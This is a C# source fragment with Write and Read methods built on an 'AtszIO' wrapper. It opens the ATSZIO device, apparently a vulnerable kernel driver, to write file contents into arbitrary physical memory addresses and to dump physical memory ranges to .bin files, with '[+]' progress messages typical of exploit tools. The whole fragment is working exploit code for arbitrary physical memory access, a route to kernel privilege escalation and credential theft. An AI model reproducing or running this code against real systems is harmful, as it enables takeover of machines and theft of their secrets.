public static void Write(ulong PhysicalAddress, string Filename) { using (FileStream stream = new FileStream(Filename, FileMode.Open)) using (AtszIO mapper = new AtszIO(PhysicalAddress, (uint)stream.Length)) { Console.WriteLine("[+] Writing block of memory..."); stream.CopyTo(mapper.PhysicalMemoryBlock); } }
public static void Read(ulong PhysicalAddress, ulong Length) { uint IterationSize = (IntPtr.Size == 8 ? (uint)0x10000000 : (uint)0x1000000); using (SafeFileHandle atszio = AtszIO.CreateFile("\\\\.\\ATSZIO", FileAccess.ReadWrite, FileShare.None, IntPtr.Zero, FileMode.Create, FileAttributes.Temporary, IntPtr.Zero)) using (FileStream stream = new FileStream("" + (PhysicalAddress.ToString("X")) + "-" + ((PhysicalAddress + Length).ToString("X")) + ".bin", FileMode.Create)) { for (; Length > 0; Length -= IterationSize, PhysicalAddress += IterationSize) { using (AtszIO mapper = new AtszIO(atszio, PhysicalAddress, (Length > IterationSize ? IterationSize : (uint)(Length & 0xffffffff)))) { Console.WriteLine("[+] Reading block of memory..."); mapper.PhysicalMemoryBlock.CopyTo(stream); } if (Length <= IterationSize) { break; } } } Console.WriteLine("[+] Read successful: " + (PhysicalAddress.ToString("X")) + "-" + ((PhysicalAddress + Length).ToString("X")) + ".bin"); }